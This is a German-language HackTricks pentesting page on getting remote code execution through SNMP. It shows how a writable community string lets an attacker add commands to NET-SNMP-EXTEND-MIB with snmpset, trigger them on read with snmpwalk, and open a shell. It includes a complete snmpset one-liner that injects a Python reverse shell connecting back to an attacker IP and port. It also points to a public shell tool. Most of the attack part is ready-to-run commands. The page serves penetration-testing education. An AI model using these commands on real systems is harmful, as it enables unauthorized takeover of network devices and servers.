hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md
2024-02-10 15:36:32 +00:00

5.5 KiB

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

SNMP RCE

SNMP kann von einem Angreifer ausgenutzt werden, wenn der Administrator die Standardkonfiguration auf dem Gerät oder Server übersieht. Durch Missbrauch der SNMP-Community mit Schreibberechtigungen (rwcommunity) auf einem Linux-Betriebssystem kann der Angreifer Befehle auf dem Server ausführen.

Erweiterung von Diensten mit zusätzlichen Befehlen

Um SNMP-Dienste zu erweitern und zusätzliche Befehle hinzuzufügen, ist es möglich, neue Zeilen zur Tabelle "nsExtendObjects" hinzuzufügen. Dies kann durch Verwendung des Befehls snmpset und Bereitstellung der erforderlichen Parameter erreicht werden, einschließlich des absoluten Pfads zur ausführbaren Datei und des auszuführenden Befehls:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Einfügen von Befehlen zur Ausführung

Das Einfügen von Befehlen zur Ausführung auf dem SNMP-Dienst erfordert das Vorhandensein und die Ausführbarkeit der aufgerufenen Binärdatei/Skript. Die NET-SNMP-EXTEND-MIB schreibt vor, den absoluten Pfad zur ausführbaren Datei anzugeben.

Um die Ausführung des injizierten Befehls zu bestätigen, kann der Befehl snmpwalk verwendet werden, um den SNMP-Dienst aufzulisten. Die Ausgabe zeigt den Befehl und seine zugehörigen Details, einschließlich des absoluten Pfads:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Ausführen der injizierten Befehle

Wenn der injizierte Befehl gelesen wird, wird er ausgeführt. Dieses Verhalten wird als run-on-read() bezeichnet. Die Ausführung des Befehls kann während des snmpwalk-Lesevorgangs beobachtet werden.

Erlangen einer Server-Shell mit SNMP

Um die Kontrolle über den Server zu erlangen und eine Server-Shell zu erhalten, kann ein Python-Skript von mxrch verwendet werden. Das Skript kann von https://github.com/mxrch/snmp-shell.git heruntergeladen werden.

Alternativ kann eine Reverse-Shell manuell erstellt werden, indem ein bestimmter Befehl in SNMP injiziert wird. Dieser Befehl, der durch den snmpwalk ausgelöst wird, stellt eine Reverse-Shell-Verbindung zum Angreifer her und ermöglicht die Kontrolle über die Opfermaschine. Sie können die Voraussetzung für die Ausführung installieren:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Oder eine Reverse-Shell:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: